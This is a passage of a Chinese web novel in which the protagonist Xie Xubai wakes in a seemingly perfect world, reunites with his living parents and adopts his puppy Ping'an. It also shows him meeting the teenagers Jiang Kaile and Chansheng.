没过多久,一股温热的液体浸润了宴朔的肩膀。 ——谢叙白哭了。 宴朔手一抖,身体比脑子更快地将谢叙白拥紧。 他捧起谢叙白的脸颊,对方狭长的眼睫颤了颤,一滴泪水顺着通红的眼尾掉落。 谢叙白行事周全严谨,习惯于沟通,也擅长沟通,在误会加深前解释清楚,在冲突升级前主动化解矛盾,在临死前交代好后事,从容地宽慰生者继续活下去。 他把自己克制到极限,濒死之际情绪爆发,也只是不再说话,沉默地落泪。 直到上一秒宴朔还铁青着脸,骂人的话在嘴边囫囵转了好几圈,眼下,他垂下视线,用指腹擦了擦谢叙白的眼角,嗓音低沉地说:“我不会让你死的。” “我能救活你一次,就能救下你第二次,不要害怕,相信我。” 谢叙白眼眶通红地看着宴朔,良久,将脑袋缓缓埋进男人的肩窝。 宴朔将系统核心按在谢叙白的掌心:“神祇不能直接干预无限游戏,需要你担任主导者的身份,剩下的交给我。” 谢叙白闭着眼点了点头。 黑雾滚动,邪神的力量侵入系统核心,展开一场堪称凶残的厮杀。 系统的权限被一点点地抢夺过去,顺着黑雾缔结的纽带,转接到谢叙白的身上。 与此同时,所有玩家集体沸腾,就最终试炼的内容争讨不休。 他们突然听到一道尖锐的警铃,系统广播传出激烈的电流声:【报告异常!异常!滋啦……!】 但很快广播就恢复了正常,冰冷的机械声清晰地播放:【更新最终试炼内容。】 【叮,检测到该区域诞生???级诡王,副本《H市》变更为《完美世界》,副本难度:未知,即将投入试炼!】 … …… ……… 谢叙白感觉自己做了一个漫长的梦。 梦里他沉在无光的海底,四周很黑,什么都看不见,冰冷的流水从皮肤划过,几根粗壮滑腻的触手将他缠绕。 他并不感到害怕,自然而然地舒展身体,意识好像化作一朵轻飘飘的云彩,顺着洋流随意所欲地飘荡。 直至某一刻,海水温柔地将他托出水面。 哗啦啦—— 谢叙白茫然地从床上醒来。 脑子晕晕沉沉,像昨晚喝多了一样,身体状态倒是很好,肌肉不酸不痛,莫名有劲儿。 谢叙白抬眼,一瞬警觉,闪电般下床。 这是一个房间,他躺在床上,床边是电脑桌,桌旁是柜子,摆着各类科幻小说和游戏光碟。 这不会是宴朔的房间,也不像他记忆里任何一个熟人的房间。 他昏过去后发生了什么变故?这又是哪里? 突然房间外传来脚步声,有人敲了敲门,是位中年妇女的声音:“醒了没有?” 谢叙白目光一厉,飞快拿起笔筒里的美工刀。 那人又敲了两下门。 谢叙白不清楚状况,不敢贸然出声,猎豹般轻盈地潜伏在门后。 门外的人长时间没有得到回应,终于忍不住打开了门。 谢叙白眼神犀利,上半身跟着房门的阴影缓慢前移,肌肉绷紧蓄势待发,像一根拉满的弓弦。 门彻底打开了,果不其然是个女人。 她看见床上空无一人,有些惊讶,再一扭头,没好气地说道:“大清早和你妈玩捉迷藏呢?快出来吃饭。” 她又注意到谢叙白光脚站在地板上,脚指头冻得发白,一巴掌拍上谢叙白的脑袋:“把鞋穿上!” 女人说完就走了出去,留下谢叙白站在原地,一脸空白。 少顷,他僵硬地动了动双腿,走出房间。 女人把大肉包子装盘放在桌上,发现谢叙白还是没穿鞋,眼神一秒危险,朝沙发上看新闻的中年男人发难:“老谢,你儿子叛逆期到了,管管你儿子。” 男人看一眼谢叙白,哭笑不得地说:“他都二十多岁的人了,叛逆期早过了。” “那你叫他穿鞋!感冒还没好几天呢,不怕折腾是吧!” 男人一个激灵,抖了抖肩,朝谢叙白无奈地使了使眼色。 谢叙白认得他这张脸,也认得厨房忙活的女人。 他张了张嘴,却像是有什么东西卡在嗓子眼,鼻子一阵酸涩,忽然不知道该怎么叫人。 是叫男人的名字谢怀张,还是叫爸? 是叫女人的名字赵芳,还是叫妈? 女人端着豆浆从厨房出来,盯着谢叙白的光脚,气势汹汹地要给人邦邦两拳。 但没打下去。 因为她看见了谢叙白异常的表情。 女人脸上的怒火变成担忧,小心柔声地问:“欸,这是怎么啦?” 谢叙白抿唇,侧头看向身后的房间。 墙上挂着的奖状,杂物箱里破旧的足球,满柜子的游戏机…… 这些摆设,如实地记载着一个普通家庭的男孩,顺利长大的点点滴滴。 电视里,新闻主持人操着一口标准的播音腔,激动得面色潮红,抑扬顿挫地解说道:“……就在刚才,由谢语春博士和裴玉衡博士联手研发的第十三代载人航天火箭成功发射,代表着人类航天即将步入崭新的征程!” “这是一个欣欣向荣的时代,是一个完美幸福的世界,祝所有人都能够心想事成!” 第279章 完美世界 新闻播报喜庆激昂,谢叙白的心脏却猝然一凉,从乍见双亲的酸涩柔软中抽离出来。 这不是过去或者某段过去的幻象,甚至不是自己认知里的世界。 谢叙白第一反应必须探查清楚这里的情况,雷厉风行往外走。 身后的赵芳不明所以,似乎是下意识地拽住了他,语气带着不明所以的惶恐:“……儿子,你要去哪儿?” 女人的力气莫名大,竟让谢叙白一时没法挣脱。 传闻古代有种食人鬼魅,能模仿人声,变幻出故人姿容诱捕猎物。而系统最常用的伎俩也是抽取玩家记忆,攻击人心最薄弱的部分,蛊惑玩家堕落反叛,发狂自毁。 谢叙白作为精神领域的佼佼者,无数次破解这种招数,自然无谓。 只是现在,或许是做过那一场漫长悠闲的梦,让思维都变得慵懒迟钝,众多猜测在谢叙白的脑子里流水般淌过,总也抓不住重点。 谢叙白冷淡地一蹙眉,探手掐住女人的脉口,轻而不容分说地将她的手甩开了。 女人愣在原地。 无论制造这场幻境的家伙有什么目的,谢叙白都无法容忍亲生父母的形象被这样利用糟践,没有再看她一眼,继续朝外走。 哪知这伪造出的母亲还不肯善罢甘休,谢叙白刚按上门把手,她就又冲了上来,比刚才还要用力地抓住他。 谢叙白不想闹大动静打草惊蛇,正要用精神力将人催眠,只是还没动手,那只颤抖着拽住他的手便很突兀地一松,放开了他。 风从指缝掠过,阻力消失,谢叙白顺利地往前一迈,开门走了出去。 这是一栋典型的旧式居民楼,出门就是灰黑色的水泥地面和上下楼梯。 邻居家在对面,间距不到两米,铁门上贴着福字对联,有些年头,边缘已经褪了色,门口放着几个蓝色垃圾袋,择下的烂菜叶子从缝隙俏皮地钻出来,极有生活气息。 谢叙白往楼下走,女人仓促两步来到楼道口,没有继续追,仅仅是看着他。 当他走到拐角处,落在后背的目光又多出一道。 原来生父谢怀张也从屋里走了出来,和女人并肩而望。 客厅的电视还在孜孜不倦放着新闻联播,充当着嘈杂的背景声。 两人沉默地伫立着,原本炙热沉重的目光逐渐变淡,连呼吸都听不见了。 谢叙白脚步刹停,一阵没来由的心悸。 他骤然想起,当初自己在不知情的前提下超度双亲的执念,二老也是这样无声地望着他,通红的眼眶压着泪,直至彻底消散也没有再发出一丝声音。 生怕耽误了他似的。 谢叙白在忒修斯意识世界明争暗斗的那十几年,终日和无数人的灵魂复制体打交道,对真假的分辨了然于心。 于是这一刻他意识到了什么,指尖猛地扣入掌心,剧痛后知后觉地从心口翻涌上来。 这时,吱呀一声打破僵局,邻居家的门开了,一位六旬老爷子左手托着只黑八哥,右手拾起垃圾袋,正待去遛弯,撞见这诡异的情况,慢吞吞地打趣道:“哟,小伙子这是叛逆期没过要翘家啊?” 八哥呼呼扑扇翅膀,看热闹不嫌事大地嘲笑:“翅膀硬了!硬了!该打!” 谢叙白还没什么反应,缄默半天的赵女士突然眼皮子一掀,和和气气提醒道:“大爷,您怎么又忘了给鸟栓绳,忘了上回它跑到十公里外,让你们全家老小找了一整天,您女婿爬树抓它时还摔折了腿嘛?” 八哥像被雷劈,笑口一僵,眼珠子瞪圆,惊恐地盯着她。 老大爷听着不大对劲,扭头一看,好家伙,原本拴在鸟脚上的绳扣不知何时被啄开了! 这八哥也是鬼灵精,用爪子抓着绳子,不让其掉落,制造自己还被拴着的假象。 要不是被赵芳敏锐点出,只待出了这栋居民楼就能一飞冲天逍遥去也。 可惜越狱大业中道崩殂,一阵鸡飞狗跳的缠斗后,八哥终究不敌六旬大爷的矫健身手,大囔着救命,被老爷子捞回屋,无情地塞回笼子里去了。 谢怀张也回了神,冲谢叙白轻咳一声:“再怎么着急出门,好歹也换身衣服,这走出去像什么话?” 谢叙白刚从床上爬起来,糟乱头发比鸡窝好不到哪儿去,保暖背心与睡裤迎风招展,雪白脚丫和水泥地砖两相映衬。 即便他天生一副好皮相,形象再怪异也让人生不出反感,自有一副遗世独立的气质,但就这么站在大街上,绝对会成为人潮中最亮眼的崽。 谢叙白没说话,蜷缩着手指,好半天才轻轻嗯了一声。 五分钟后,洗完脚的谢叙白终于在赵女士的虎视眈眈下穿上棉拖。 这双鞋似乎刚买不久,表面很新,鞋垫仍旧蓬松有弹性,双脚一踩,脚便陷了下去,像被柔软的棉花包裹。 谢叙白盯着这双鞋,眼前自然而然地浮现出一副画面。 那是天气转冷的某一天,和闺蜜逛完街的赵芳女士兴冲冲回到家,从大包小包里拿出给全家人买的新冬衣和棉拖。 见父子俩穿得合身舒服,她顿时眉飞色舞地笑起来,一脸的高兴得意。 那场景极其鲜活,稍一回想,带着甜味的暖流就从胸口漾开,仿佛他亲身经历过一样。 谢叙白视线一转,拿起桌上的手机,是他常用的款式,连边缘的划痕都如出一辙。 他点开锁屏界面,手指快过大脑,轻车熟路地输入一串密码。 竟然真的打开了。 时间是XX年1月份,这会儿谢叙白上大四,放寒假,比认识平安还要早上一年,正面临毕业找工作的问题,班级群的聊天记录和招聘软件都能证明这一点。 谢叙白再上网翻了翻这几年的新闻事件。 国家似乎刚经历一段萎靡的经济下行期,但得益于去年偶然挖掘出的天然石油矿和新兴科技的爆发式腾飞,各行各业竟都回了春,发展蓬勃。 热搜词条第一位,就是各地政策规定的最低工资,惊爆地上调到2000~4000不等,各大企业计划今年开春给职工涨薪20%! 这看着就有些魔幻了。 要知道,谢叙白所在的现实世界,当地法规最低薪资只有一千二,有的黑心作坊甚至还拿不到这个数,要是不幸再被游戏规则扭曲一下,直接付费赔命上班。 但底下的评论却是一片向好,即使有质疑声也不是冷嘲热讽,单纯是怀疑时间太紧赶不上趟。 剩下的人更是兴致勃勃地谈论即将到来的春节。 算上他们平时攒下来的年假,加起来近三十天,足够拉上全家老小把想去的地方慢慢悠悠逛上一圈,消磨辛苦工作一整年的疲惫。 点开世界咨询,各国偶然会爆发几场小规模冲突,但没过多久就会得到平息。 不少国家开放了对外免签政策,各地旅游经济水涨船高,下一届奥运会预备在东南亚的某个小国举行。 …… 这样的世界,除了不真实以外,其他什么都好。 这时,谢叙白余光往下,看到“相册”,略微停顿,点了进去。 他有摄影留念的习惯,路过草丛伸懒腰的猫儿,树枝上整理羽毛的小鸟,都会忍不住驻足围观,拍下视频和照片。 而这个手机里的照片格外多,多了很多和家人朋友的生活照。 有些面孔谢叙白是不认识的,但多看一会儿就能记起是自己的初高中同学。 有几个现在还有联系,周末偶尔约出去撸串上网打篮球。 他点开一段录像,记起这是自己第一次去酒吧的纪念视频。 刚出二九的愣头青第一次来这么高端大气上档次的地方,菜单翻来覆去看得眼花缭乱,挑了很久才矜持地点上一杯,迎着花花绿绿的灯光举过头顶。 本想学电视上的成功人士来一番优雅的致敬,结果下一秒,几个狗见嫌的损友就蹿了出来。 谢叙白还记得那杯鸡尾酒整整斥了138元巨资,混乱中不知道被哪个嘴馋的啜走一半,另一半赏了地板,他就喝了一口,气得眼皮子突突跳。 不用为生计忙碌的人生总是别样宽容且二逼,走在路上摔倒了,都得夸地面坚硬。 他二十多年自由自在,招猫逗狗,拍下自己第一次三步上篮,第一次游戏超神,第一次吃裤带面,第一次看完整本书,拍下自己捡起一根笔直的粗树枝,趁没人对墙壁大喊芝麻开门。 他拍下和夫妻俩回农村省亲,年岁过百的太奶奶健步如飞地去挖竹笋、做烧鸡,身子骨硬朗得能走十里地。 他拍下邻家堂兄弟带着他骑摩托上山兜风,又逛到县城的空坝子上,买两串淀粉肠,乐乐呵呵地顺着热闹的人流去看露天电影。 春来冬去,盛夏蝉鸣。 谢叙白一张张看过去,不知时间,直至门口传来一声:“吃早饭吗?” 他方才抬起头,如梦初醒。 —— 饭桌上的气氛有点微妙,老两口一直在偷瞄谢叙白的脸色,待到谢叙白一抬头,又装着若无其事地挪开眼。 谢叙白心想他们一定憋得够呛,好端端的傻儿子大清早的不知道吃错什么药,不认人不说,还衣衫不整跑出去撒疯,平白让人操心。 这都不是什么大问题。 谢叙白最擅长的就是揣着明白装糊涂,和各方势力虚与委蛇,把控人心。何况对付两个手无缚鸡之力的普通人,根本不需要费什么功夫,一道精神暗示就能解决得干净利落。 可是眼下,这张素来巧舌如簧的嘴像是被胶水粘住了似的,那些深谙于心的话术来不及酝酿,就被夫妻俩茫然忧心的目光烫了回去。 他们死过两次,两次都因我而死。 谢叙白自嘲地想。 我怎么能把那些腌臜手段用在他们的身上? 但他突然抽风这事是需要给出一个交代的。 大概过了有一个世纪那么长,赵芳起身将空碗筷子收拾进厨房,谢怀张去换衣服。 他们一个在艺术班担任美术老师,一个正慢慢从管理岗退下来,中午都不在家里吃。穿戴整齐后,两人却没急着走,磨磨蹭蹭的,阳台遛一遛,浇花弄叶,直到谢叙白哑声开口:“我昨晚做了一个梦。” “不是什么好梦,很多人都……走了,很多时候我就只能眼睁睁地看着,什么都做不了。” 这个时候,一般父母大概会安慰一句:“梦都是反的。” 或是不以为意地嗔怪道:“整天就知道胡思乱想。” 两口子哪句都没说。谢父一怔,拉开椅子,坐在谢叙白的身边,语气轻快,半开玩笑地问:“也梦到我们走了?” 那最能解释,为什么谢叙白一觉起来对他们的态度三百六十度大转变。 谢叙白脑袋一沉,谢父的手落在了他的头顶。 对成年人来说,这个动作多少有点难为情,何况谢叙白的实际年龄比此时的谢怀张要大上好几轮。 刀光剑影如狂风暴雨打在他的身上,早已把他雕刻成一尊不知疲惫、不会倒下、永远不失体统、叫人高山仰止的标杆。 但揉他脑袋的人是谢怀张,所以谢叙白僵硬着没动。他表面淡定,暗地里绞尽脑汁,搜肠刮肚,琢磨这副身体应该给出什么样的反应才算合理。 就在这时,他听见谢父笑着叹出一口气:“还记得你妈曾经对你说过的话吗——谢叙白,你是我们人生中最浓墨重彩的一笔。” 谢叙白抬起头。 “但我不这么认为。”五十岁的中年男人鬓角微白,好整以暇地挑了下眉头,“在你爸心中,你妈和你奶并列第一,你得往后排第二。” “你爸年轻的时候心高气傲,又是愣头青,做过不少混账事,上学敢对着校长当面叫板,上班敢和上司拍桌子翻脸,第一次学会收敛是和你妈谈恋爱,第二次就是护士抱你出产房,我提心吊胆,像抱炸弹一样接住你,气儿都不敢喘。” “你妈从小不敢和人大声说话,被人骗钱都没红过脸,有你之后才慢慢强硬起来。我还记得你小时候有次高烧不退,她着急忙慌抱你去急诊,被人插队,急得吼出一嗓子,整个过道都是回声。” “也是你出生后,我和你妈多出许多新奇的体验,不全是好事,但绝大多数都不是坏事,当你喊着爸爸妈妈扑过来的时候,又都成了幸事,挺有意思的。” 不。 谢叙白看着谢父一脸怀念感慨的模样,嘴唇翕动。 如果你们知道是因为我被歹徒盯上,乃至于丧命,绝对不会…… “人生不如意十之八九,谁也不知道明天和意外哪一个先来,真发生点什么事,那也是天定的,和你有什么关系?” 谢父满眼柔和,语重心长地说道:“谢叙白,我和你妈这辈子过得很幸福,就算现在突然死去,也已经是无悔、无憾的了。” 夫妻俩耽误太长时间,这会儿必须要出门了。临走前,赵芳听见谢叙白在身后喊了她一声:“……妈,对不起。” 她停下来,如幼时那般捏了捏谢叙白的脸蛋:“傻孩子。” 两人离开,喧闹的客厅瞬间变得空荡荡,但并不显得寂冷。 或许是因为谢怀张出门前把空调打开了,暖风呼呼地吹,或许是因为赵芳问了谢叙白一句:“晚上想吃点什么?” 谢叙白坐了一会儿,拿出手机,拨出几串熟记于心的号码。 江家本宅没人接,研究所没人接,院长办公室没人接,几个私人电话显示空号。 盛天集团倒是有人接了,前台小姐温柔礼貌地告诉他,想要见宴总和吕秘书,需要提前预约。 谢叙白干脆地出了门。 走出居民楼的瞬间,楼上传来一道晦暗不明的视线,利刃般扎进他的后背。 谢叙白猛然转身,看见一大妈在阳台上晒衣服,几户人家窗帘轻动,明媚阳光穿透层云,给灰白墙面镀上一层柔光,似乎只是寻常。 —— 谢叙白坐上公交车,先来到正新区太平大道56号巷。当初这里是他上班的近道,平安就缩在那窄窄的巷子口等他回家。 他从里到外仔细找过一遍,没有看见一只流浪猫狗。 询问附近的居民才知道,之前猫狗闹腾,来过几家动物救助队,把它们基本都带走了。 谢叙白又顺着居民给的地址一一找过去。 他见到负责人,是个和蔼可亲的中年人,从对方的口中了解到,大部分猫猫狗狗都找到好人家领养,少部分身体残缺带病的,正被关在诊所里隔离治疗。 如果日期没错,这时候的平安还是只点儿大的奶狗,但在救助队的记录中,没有符合特征的对象。 谢叙白去到诊所,看望生病的猫狗。有的精神头十足,有的状态不是很好,树枝般枯瘦的爪爪上打着点滴,有气无力地缩在垫子里哼哼。 当谢叙白一进门,它们立马像是有心电感应般蹿跳起来。 医生不知道它们为什么躁动,连忙跑过来查看情况,却发现小家伙们只是探出小脑袋,对一个气质出众的俊秀青年期期艾艾地叫。 青年伸出手,它们便迫不及待地凑上前,尾巴高高竖起,隔着玻璃使劲儿地蹭来蹭去。 谢叙白在小家伙们的脸上看见了好奇。 它们并不认识自己。 但或许是忘川水没喝那么干净,在灵魂深处残留下一些亲昵的痕迹,于是仍能够肆意地撒娇,倾述委屈。 谢叙白驱使金光消解它们的病痛,捐出一大半家底作为后续的医疗费,隔空点点小家伙们的鼻头,柔声嘱托道:“我先走了,你们要听话,好好治病,好好吃饭。” “咪呜~”“汪嘤……” “等你们病好了,我就来接你们。” “喵嗷!”“汪!” 刹那间猫猫狗狗似乎真听懂了一般齐声欢叫,让旁边的医生看得目瞪口呆,幻视撞见在逃迪士尼。 告别小家伙们,谢叙白又回到那条小巷,沿着周边街区仔细寻找,一上午加一中午,五个小时一无所获。 他都有点不抱希望了,却在下一个转角,看见某家小超市的老板抱着一个杂货框子出来,放在阳光底下晒,里面窝着花色各异的小毛球。 谢叙白一眼就看见了白色的那只。 他的呼吸急促起来,三步并作两步跑过去,蹲下身,小心翼翼托起白狗崽儿的脑袋,顺着眼眶轻轻地碰。 没有被硫酸灼烧的疮疤。 全须全尾,平平安安。 店老板看在眼里,流露出和宠物医生一样的惊异。 要知道这只狗崽是一窝里最安静的一只,摔倒了都不吭声,有人想摸它,扭头就跑。 本以为是不亲人,结果谢叙白一出现,瞬间就来了劲儿,尾巴摇得那叫一个欢。 再看谢叙白的神情,店老板没来由的有些触动。 本来生下这么多小狗也养不下,都是要送人的,他认为难得有缘,主动提议道:“喜欢吗,要不要带只回去?” 就这样,谢叙白有了人生的第一只小狗,取名平安。 他用精神力护住小狗,到宠物店买了羊奶粉和狗包。 狗不想进包里,哼哼唧唧非要往他怀里钻,他便背着包,抱着狗,去江家主宅。 一下车,隔老远就看见主宅被查封,雕花大门上贴着黄色的法院封条,显示正在拍卖。 隔着栏杆往里看,印象中豪华的复古别墅已然落败,地上都是泛黄枯叶,有老人路过,还满脸嫌恶地朝它淬了一口。 谢叙白:“……” 谢叙白打开手机,上网一搜。 原来早在十多年前,江家背地里做的那些腌臜事就被曝光了,所有涉案人员全部落网。 因为江家在当地是有名有姓的大家族,这事一度引起轩然大波,无数人唏嘘叹惋。 至于谢凯乐的母亲许女士,不幸中的万幸,她在生下孩子没多久就洞察到夫家的丑恶嘴脸,果断带着孩子离婚跑路,没来得及接触和插手那些罪恶产业,逃过一劫。 后续母子俩的下落,网上没再提及。 但转念一想,能从这样大的风口浪尖上全身而退,安然消隐,一点风声都没有泄露,一定有许家在暗中保护,压下消息。 也是这时,一辆带字母的黑色大众与谢叙白擦肩而过,车窗半开,露出一个嘴里叼着棒棒糖、无忧无虑打游戏的小少爷。 大众的后面还跟着一辆搬运货车,车上只有一件货物,是棵成人高的小树苗,冬天树叶差不多都掉光了,但枝干虬实粗壮,很是健朗,在空气中慵懒地舒展枝条,迎风挥摆。 谢叙白停下脚步,目送少年和树苗离开,消失在马路拐角。 他揉一揉平安的脑袋,笑道:“看来他们过得很好。” 话音未落,前方传来滴滴倒车声,刚才一去不回头的大众稳稳地回退到谢叙白的身边,车窗全开,露出少年不曾被阴霾染指的俊脸。 “欸……你看着好眼熟,咱们以前是不是见过面?” 支支吾吾的开场白,听得前面的司机眉头狂跳,愕然回头,只见自家混不吝的小祖宗一脸的恭谦腼腆,左顾右盼外加抠抠手指头,短短五秒十八个小动作。 最后少年终于鼓足勇气,对谢叙白说:“……我最近成绩下滑得厉害,我妈想给我找家教补课,但那些人我都不喜欢。我觉得你很不错,很合眼缘,很亲切,要不要来?一个月十万,不,二十万!” 谢叙白搭上了江凯乐的顺风车,还没怎么开口,话痨的小少爷就下意识地凑过来,倒豆子一样把所有事情都交代了个遍。 江凯乐也不知道自己对眼前这个陌生青年哪儿来的敬爱和孺慕,总觉得和对方这样放松身心畅所欲言的机会来之不易,莫名想哭。 他忍住泪意,说起自己从小就被母亲带离江家,对这里没什么感情。最近不知道怎么的,老是梦见江宅花园里的一棵树苗,非要带走才安心。 然后继续絮絮叨叨,眼睛闪着光,说不够似的,问谢叙白叫什么,怀里的狗哪儿来的,要去做什么,怎么会出现在这里,平时有哪些兴趣爱好,喜不喜欢看电影…… 江凯乐这次出门,除了给树苗搬家,还受了母亲的嘱托,要把某个东西送给盛天集团的董事长,也就是宴朔。 明明两家没有血缘关系,却不知道怎么攀上的交情。 他和那人不算太亲近,听说过对方的成就,在上层圈子里也属于可望不可即的那一类,心中怀敬。但不知道为什么,还有一丝丝生气。 这时候江凯乐已经和谢叙白唠开了,完全不见外地凑人跟前,义正言辞地说:“他不是什么好人,我总觉得您会被他蒙骗。” 这话一出口,司机的冷汗都下来了。心说小少爷嘴上真是没个把门,胡话张嘴就来。 却见谢叙白一点也不震惊,没有因为许家少爷的热情发飘,也没有听到大人物威名的局促。 青年寻常地坐在车里,和衣着扮相无关,举手投足自带一份淡泊宁静的气质。 他看向少年的眼神带着令人艳羡的宠溺和认真,感到好笑时,也没有过大的表情幅度,单单是扬起眉梢,唇角露出一抹忍俊不禁的浅笑。 仅是这一笑,便让冬日的寒风泛暖,春意盎然。 很快,他们来到盛天集团的大门口。与此同时,一个内衬标着国徽的研究团队在后门低调地下了车。 为首是一名干练精明的中年女教授,袖子挽到胳膊肘,落地生风。另一名男教授差不多岁数,肃穆清冷,不苟言笑。身后跟着的一众人员对他们露出明显的敬重。 西装革履的吕向财早早地等在门口,将两位恭迎进公司。 吕向财经手的保密工作挑不出什么错处,一路上都没有引起什么人注意。 直至有员工无意瞥见那两张刚上过新闻热搜的脸,才猛然回神公司请来了两位怎样不得了的大人物,迫不及待将这事往群聊一说,全公司上下顿时炸开了锅! 这些国之栋梁、伟大人物,才能出众,德高望重,其存在就是一项让人热血沸腾的权威。平时一直在研究所潜心钻研,深居简出,没有熟人介绍,连见上一面都难求。现在有幸亲眼瞻仰,怎么不让人心脏狂跳? 但大佬不愧是大佬,十米开外就能感受到令人双腿发软的强大气场。 对谢裴两人名号有过了解的员工们,想象不出两位大佬除庄严以外的模样。 两位教授平时治下严谨,积威深重,大风大浪走过来,能让他们动容的东西也不多了。团队成员看在眼中,将他们愈发神化,只觉天崩地裂,大佬们也不会皱一下眉头。 直至今天。 当抱着奶狗的青年和江家少爷一并出现在会议室外的走廊里时,下属们震惊地看见两位教授居然齐齐停下了脚步,瞳孔放大,露出前所未有的怔忪。 走廊明净,窗外阳光正好。春节快到了,气温变冷,街上却热闹起来,千门万户张灯结彩,喜气洋洋,充斥着惬意的喧嚣。 谢叙白从两人出现就一直凝望着他们,从头到脚,不曾挪开。 裴玉衡还是和以前一样,不,比以前好太多,白头发减少了,眉间皱纹淡去。没有鬼气缠身,看着比什么时候都健康。 而谢语春…… 谢叙白总也忘不了谢语春化神的模样,屹立星河之间,身躯淡化,薄纱般清透,庞大似无法跨越的山岳。 祂轻飘飘地来,又轻飘飘地走,头也不回,将人间如尘埃般甩在身后,将大声叫嚷的他甩在身后。 责任和使命将所有的痛苦都踩在脚底,活着的人被逼着往前走,没时间伤春悲秋。 而当一切回到正轨,女人不再需要献祭自己。她在喜欢的领域大展宏图,被人群簇拥在闪光灯下,那双冰冷无情的眼睛重新拥有七情六欲,灼热深邃。 ——才让人骤然惊觉,这一路走来,满是颠沛流离。 第280章 谢叙白,你幸福吗?…… 谢语春他们这次来,是就某个研究所需的特殊生化材料和盛天集团谈长期合作。会议要开很长时间,江凯乐把开光盒子交给吕向财,让对方帮忙递交上去,陪谢叙白一起等在会客室。 谢叙白看见饮水机,将羊奶粉倒进奶瓶,接热水冲泡,挤出几滴在手背试温,感觉合适才把平安抱在腿上,托起前胸喂。 奶狗消化系统很脆弱,需要少量多餐,频繁喂食。 平安其实刚才就饿了,但它憋着没吭气,到这时被谢叙白用沾着羊奶的手指一逗,终于按捺不住,眷恋地蹭了蹭谢叙白的手指,大口大口地吮吸起来。 它太小不会控制力量,用力到尾巴和耳朵尖尖都翘直,疯狂地抖来抖去。 谢叙白见它吃得直打呼噜,忍不住笑起来。 阳光从窗棂倾泻,洒落在青年线条流畅的侧颊。他身姿笔挺,双腿颀长,眉宇温柔垂落,浸入鎏金的浮光中,恍惚美如画中仙。 一群兴致勃勃来瞻仰谢裴两位名士的员工骤然撞见这一幕,直接愣在原地。 不单单是因为谢叙白的脸好看,还有一股说不出道不明的情绪,似乎酸涩,似乎神往,在胸腔疯长。 “江少爷,你知道会客室里坐着的那位是什么人吗?” “江少爷,你有他的联系方式吗?” “江少爷……” 江凯乐不是第一次来了,但他混世魔王的名声在外,员工都对他避之不及,头一遭被如此热情地包围。 听到要联系方式还好,再下一秒,听见有人追问谢叙白的家住在哪里,江凯乐当即脸色一沉。 碍于谢叙白在场,他忍着没发火,冷眼把那人看得慌张闭嘴,而后大手一挥,“彬彬有礼”地把所有人都“请”了出去,再联系管家帮忙调查那人背后的企图。 做完这一切,气冲冲的江凯乐突然一愣。 他居然控制住了自己的脾气。 江凯乐存在先天不足,易燃易爆。不足在哪里,难说,连最精妙的医疗仪器都查不出来原因。 别人好说歹说,家里劝过骂过打过,西药中药一起调理,他就是忍不了气,一点不爽当场爆炸,谁都拉不住。 最后的结局不外乎自己惹事进橘子,亲妈亲舅火急火燎带人来保释,然后看着他长吁短叹,一脸的家门不幸。 江凯乐觉得自己没错。 他虽不是什么路见不平一声吼的性格,但看见势利眼侮辱人的老师,搞霸凌撒图钉的同学,猥亵他人拍视频的混混流氓,强买强卖仗势欺人的老板……谁能忍住不一拳揍上去? 可现在他居然忍住了。 不止忍住了,还隐隐约约知道后面该怎么扫尾。 有谁教过他吗? 一想到这里,江凯乐又想哭。 他有点羞赧,好歹是个男子汉,怎么这么别扭。他要面子,怕被谢叙白瞧见端倪,不顾他人异样眼神,快步开门去走廊上疯狂做深蹲,终于是把眼眶里的湿意压了回去。 可江凯乐憋不住话——反正在谢叙白面前憋不住。于是他气喘吁吁地跑回来后,没一会儿就脱口而出:“你知道吗,我好像长大了。” 谢叙白刚好喂完平安,用纸巾擦干净手。闻言,他的手抚上少年的脑袋,欣慰地肯定道:“是啊,长大了。” 这句话真是要命。 江凯乐发现他的眼泪白憋了,谢叙白一开腔就开了闸。 还好这时一通视频电话打了过来,挽救了江少侠岌岌可危的羞耻心。 电话那头是个长着虎牙的天真少年,整张脸杵在镜头前,苦恼地撇嘴:“乐乐,我寒假作业不会——” 他忽然注意到江凯乐的眼睛通红,好像哭过,登时坐直身,眼神发冷,犹如一头吃人的恶狼:“谁欺负你了?” “没,没谁,眼里进沙子了。” 江凯乐多庆幸谢叙白没有在旁边搭腔,不然这会儿他一定羞得在地上挖条缝钻进去,急忙岔开话题:“不说这个,告诉你一个好消息,我今天找到老师了!” “老师?”虎牙少年疑惑,“他们走丢了吗?” “不是学校老师。”江凯乐瞅了瞅谢叙白,见对方并不反感,在视频里慢慢露出谢叙白的半张脸,仰着下巴与有荣焉,“是我的家教老师,会在家里教我学习。” 虎牙少年不明觉厉,双眼瞪圆:“你放假还要上学啊?好可怕。” 江凯乐本想把成绩下滑的理由搬出来,忽然记起自己这次期末年级第三。 遭了,他成绩不差! 不知道为什么,明明能和谢叙白缔结的关系有那么多,江凯乐就只想对方做他的老师。 更不知道为什么,他下意识扯出了成绩不好。 要是小伙伴不小心说漏嘴,他要怎么圆? 老师会不会觉得他是个谎话连篇图谋不轨的坏小孩? 还好,谢叙白没有在意江凯乐怪异的样子,自然地和视频那头的虎牙少年打起招呼:“你好小同学,能问问你叫什么名字吗?” 虎牙少年对上他的眼睛,下意识坐端正,乖巧回答说:“老师好,我是蝉生。” 谢叙白柔声:“是哪个chan,哪个sheng?” “是……”少年忽然结巴了一下。 蝉生天生口吃,因为这事没少被同学取笑。江凯乐曾经为了给他鸣不平,在学校创下暴揍十五人的辉煌战果。 他怕蝉生说不好话,会尴尬,正要打圆场,却见虎牙少年眼神恍惚起来,仿佛陷入某种回忆。 “是夏蝉的蝉,重生的生。” 这一刻,少年的舌头不打卷了,口齿突然清晰,如有神助一般。 他一字一顿,认认真真。 “意思是,蝉在蛹中沉寂多日,换来一鸣惊夏,破茧重生。” 谢叙白笑着接口道:“很好的寓意。你和乐乐是好朋友吗?” 语气像哄小孩似的。 可蝉生不是6岁,是16岁。 江凯乐被仇家带人堵在巷子里时,天真浪漫的虎牙少年一板砖就给领头混混的脑袋瓜开了瓢,血溅在脸上,面无表情。 “是的。”蝉生无师自通出敬语,扭捏道,“您可以叫我生生。” 江凯乐:“………” 神他丫的生生。 谢叙白又问了几个问题,蝉生一一回答。 他们聊得很好,被冷落在旁的江凯乐莫名有些吃味,卡着两人结束一个话题的间隙将手机收了回去,承诺回去教蝉生作业,便挂了电话。 话音刚落,心脏又是一咯噔。 比蝉生小两个年级,却能教人写作业,他暴露了。 江凯乐心惊胆颤一扭头,突然被谢叙白弹了个脑瓜崩。 